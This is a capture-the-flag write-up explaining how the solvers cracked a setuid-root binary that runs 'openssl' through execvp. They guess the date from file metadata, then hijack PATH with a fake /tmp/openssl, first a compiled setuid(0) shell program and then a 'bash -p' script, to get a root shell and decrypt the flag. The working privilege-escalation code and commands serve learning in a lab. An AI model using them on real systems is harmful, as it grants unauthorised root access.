I swear this isn’t crypto. Pinky promise. And you don’t have to bruteforce anything.
Category: misc
Solver: linaScience, MarDN, t0b1, Liekedaeler
Flag: GPNCTF{TH3_S_1N_S3TU1D_5T4ND5_F0R_S3CUR1TY}
Writeup
Guessing the date
On the server, we have the following files:
ctf@sweet-dreams-are-made-of-this--micar-7714:/app$ ls -liash
ls -liash
total 32K
100824878 0 drwxr-xr-x 1 root root 45 May 29 01:31 .
101555908 0 dr-xr-xr-x 1 root root 28 Jun 8 14:26 ..
100824879 20K -rwsr-xr-x 1 root root 17K May 29 01:31 cli
68506109 4.0K -rw------- 1 root root 1.3K May 28 20:43 cli.c
68506110 4.0K -rw------- 1 root root 98 May 28 20:43 encrypt.sh
100824881 4.0K -rwx------ 1 root root 90 May 29 01:31 flag.enc
Oddly enough, we only have read and execute rights for the cli binary as we are the user ctf
and not root
.
So, let’s have a look at the no-crypto.tar.gz
that was provided before we take a further look at the server.
In the tar, we get a Dockerfile, an encrypt.sh as well as the cli.c for the server.
The Dockerfile unfortunately removes the flag as well as gcc and apt to “safe some space”. The encrypt script looks like this:
date=$(date -uIseconds)
openssl enc -aes-256-cbc -k "$date" -pbkdf2 -base64 -in flag -out flag.enc
We see here that the flag is encrypted in flag.enc
with a specific date.
In cli.c
we see the following:
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
while (1) {
char date[256];
printf("Guess when I was encrypted ([YYYY]-[MM]-[DD]T[HH]:[MM]:[SS]+[HH]:[MM]): ");
if (fgets(date, sizeof(date), stdin) == NULL) {
printf("Error reading input.\n");
return 1;
}
date[strcspn(date, "\n")] = '\0';
pid_t pid = fork();
if (pid == -1) {
printf("Error forking process.\n");
return 1;
} else if (pid == 0) {
// Child process
char* argv[] = {"openssl", "enc", "-d", "-aes-256-cbc", "-k", date, "-pbkdf2", "-base64", "-in", "flag.enc", "-out", "/dev/null", NULL};
execvp("openssl", argv);
printf("Error running openssl.\n");
return 1;
} else {
// Parent process
int status;
waitpid(pid, &status, 0);
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
printf("The guessed date is correct!\n");
return 0;
} else {
printf("The guessed date is incorrect. Try again!\n");
}
}
}
}
We have to guess the date when the flag was encrypted, then the flag gets decrypted, and we also know that it was correct. So let’s guess the date! This shouldn’t be too easy as our search space is relatively huge and according to the challenge description we shouldn’t bruteforce anything, so what could be the correct date?
Our first idea is to just run stat flag.enc
to check the file’s metadata:
ctf@sweet-dreams-are-made-of-this--micar-7714:/app$ stat flag.enc
stat flag.enc
File: flag.enc
Size: 90 Blocks: 8 IO Block: 4096 regular file
Device: 100022h/1048610d Inode: 100824881 Links: 1
Access: (0700/-rwx------) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2024-05-29 01:31:06.000000000 +0000
Modify: 2024-05-29 01:31:06.000000000 +0000
Change: 2024-06-03 09:29:18.123290640 +0000
Birth: 2024-06-03 09:29:18.123290640 +0000
Oddly enough, we see that the access and modify date is dated back before the CTF started 2024-05-29 01:31:06.000000000 +0000
.
So maybe this is the correct date.
We run the cli
binary and type in 2024-05-29T01:31:06+0000
and voilà the date is correct.
So, this was the “crypto” part of the challenge, but we didn’t get a flag as the binary only outputs whether the date is correct.
As we wanted to decrypt the flag.enc
with the correct date we remembered that we cannot access it as we aren’t root
, uff.
We could have overlooked something, so let’s have another look on the cli.c
again!
The cli.c
again
There are several facts which we didn’t see at first glance.
First, the flag does get decrypted, well kind of, because the result is directed to /dev/null
which we sadly cannot access.
Furthermore, it is interesting that execvp
with openssl
is executed, as we can pass the date
argument in the char* argv[]
right at the beginning with the fgets
.
And apparently the scales fall off our eyes, it has a setuid bit set for everyone that executes the file!
So maybe we need to get a privilege escalation to get root
, and then we may be able to decrypt the flag.enc
.
Privilege escalation?
We think of some ways to elevate our privileges.
First, we look through the man page of execvp
and come across the following lines:
These functions duplicate the actions of the shell in searching for an executable file if the specified filename does not contain a slash (/) character. The file is sought in the colon-separated list of directory pathnames specified in the PATH environment variable.
Since the call in our program is execvp("openssl", argv)
and as such the filename doesn’t contain a slash, the program will use the PATH
environment to resolve the openssl
binary.
So, the /tmp
directory seems to be one where we have write permissions.
Thus, we write a script in /tmp/openssl
which executes a simple echo "Hello World"
and redefine our PATH to include /tmp
with PATH=/tmp:$PATH
.
Then, we try to execute the cli
binary which now should use the self-defined script in /tmp
:
ctf@boulevard-of-broken-dreams--niemann-2033:/app$ cat /tmp/openssl
#!/bin/bash
echo "Hello World"
ctf@boulevard-of-broken-dreams--niemann-2033:/app$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ctf@boulevard-of-broken-dreams--niemann-2033:/app$ ./cli
Guess when I was encrypted ([YYYY]-[MM]-[DD]T[HH]:[MM]:[SS]+[HH]:[MM]): a
Hello World
The guessed date is correct!
It worked!
When we now change the script to give us a shell, it seems that it drops our privileges back to the ctf
user.
The real exploit
How could we maintain the privileges?
We could try to create another binary which gets us a privileged shell, but it is called openssl
.
So, we write a C program that gets us a privileged shell, as so:
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
int main() {
int ret = setuid(0);
if(ret != 0) {
perror("setuid");
return -1;
}
system("/bin/bash");
}
We compile it on our side with gcc -o openssl exploit.c
as gcc was removed on the server to “safe some space”.
Then we upload it to the server as the new openssl
in /tmp
and change the homepath to /tmp
as we previously did.
With that script in our pocket we can get root now, as the execvp('openssl', date)
now executes our openssl
script and thus we get a root shell :)
We now just do cat flag.enc
as we can read it now and get U2FsdGVkX1/sjCeFPp6H3IyKG7U3jK5EMGZzRHuHf6V+242a2UN5ajV3x405t6qpj9iKLCaHwb8b6I6c6cz2Kg==
.
As we have the correct date, we can now decrypt the flag.enc
with the settings given in cli.c
, where we substitute /dev/null
with flag
like so openssl enc -d -aes-256-cbc -k '2024-05-29T01:31:06+0000' -pbkdf2 -base64 -in flag.enc -out flag
and finally get the flag in the flag
file stating GPNCTF{TH3_S_1N_S3TU1D_5T4ND5_F0R_S3CUR1TY}
:D
The alternative solution
While writing this writeup we came across another solution as compiling on our machine and copy the stuff on the server is a bit tedious.
So the following solution avoids these headaches.
As we found out earlier bash itself drops privileges, meaning it resets the effective user id to the real user id by default.
Bash only drops it privileges without the -p
flag as said in the following:
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, […], and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
So our first approach could work when we add the -p
flag for both, the shebang and the bash as follows:
echo "#!/bin/bash -p\nbash -p" > /tmp/openssl
chmod +x /tmp/openssl
export PATH=/tmp:$PATH
./cli
We enter the date again, and then we can run id
to see what privileges we have now.
bash-5.1# id
uid=1000(ctf) gid=1000(ctf) euid=0(root) groups=1000(ctf)
Turns out, that we kept the euid=0(root)
and thus are effectively root. So we can run cat flag.enc
and proceed with the same as above to get the flag.